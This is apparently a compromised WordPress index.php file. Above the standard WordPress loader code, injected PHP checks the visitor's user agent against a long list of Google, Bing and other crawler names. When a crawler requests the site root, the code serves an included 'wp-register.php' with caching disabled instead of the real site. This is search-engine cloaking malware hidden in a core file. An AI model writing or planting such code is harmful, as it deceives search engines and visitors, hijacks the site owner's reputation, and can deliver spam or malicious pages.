<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';

$googleBots = [
    'Googlebot', 'Googlebot-News', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-Mobile', 'Googlebot-Search',
    'Googlebot-Inspect', 'Googlebot-Android', 'Googlebot-Ads', 'Googlebot-Discovery', 'Googlebot-AdsBot', 'Googlebot-Desktop',
    'Mediapartners-Google', 'AdsBot-Google', 'AdsBot-Google-Mobile', 'AdsBot', 'APIs-Google', 'Google Favicon',
    'Google Web Preview', 'Feedfetcher-Google', 'DuplexWeb-Google', 'Google-InspectionTool', 'google-inspection', 'Google-Other',
    'Google-SearchCentral', 'Storebot-Google', 'Google-Read-Aloud', 'Vertex-AI-Bot', 'Google-Extended', 'google-extended', 'Gemini',
    'GoogleOther', 'GoogleOther-Image', 'GoogleOther-Video', 'Google-Agent', 'GoogleProducer', 'Google-',
    'googlebot', 'googlebot-image', 'googlebot-news', 'googlebot-video', 'googlebot-search', 'googlebot-inspect',
    'googlebot-android', 'googlebot-mobile', 'googlebot-ads', 'googlebot-discovery', 'googleother', 'storebot-google',
    'mediapartners-google', 'adsbot-google', 'adsbot', 'apis-google', 'google-inspectiontool', 'google-agent',
    'bingbot', 'bingpreview', 'msnbot', 'slurp', 'duckduckbot', 'duckduckgo', 'yandexbot', 'yandex', 'baiduspider',
    'sogou', 'exabot', 'twitterbot', 'facebookexternalhit', 'linkedinbot', 'embedly', 'whatsapp', 'applebot',
    'petalbot', 'facebot', 'ia_archiver', 'archive.org_bot', 'ahrefsbot', 'semrushbot',
];

if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {
    if ($_SERVER['REQUEST_URI'] === '/') {
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
        header('Pragma: no-cache');
        header('X-LiteSpeed-Cache-Control: no-cache, no-store');
        header('Vary: User-Agent');
        include 'wp-register.php';
        exit;
    }
}

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
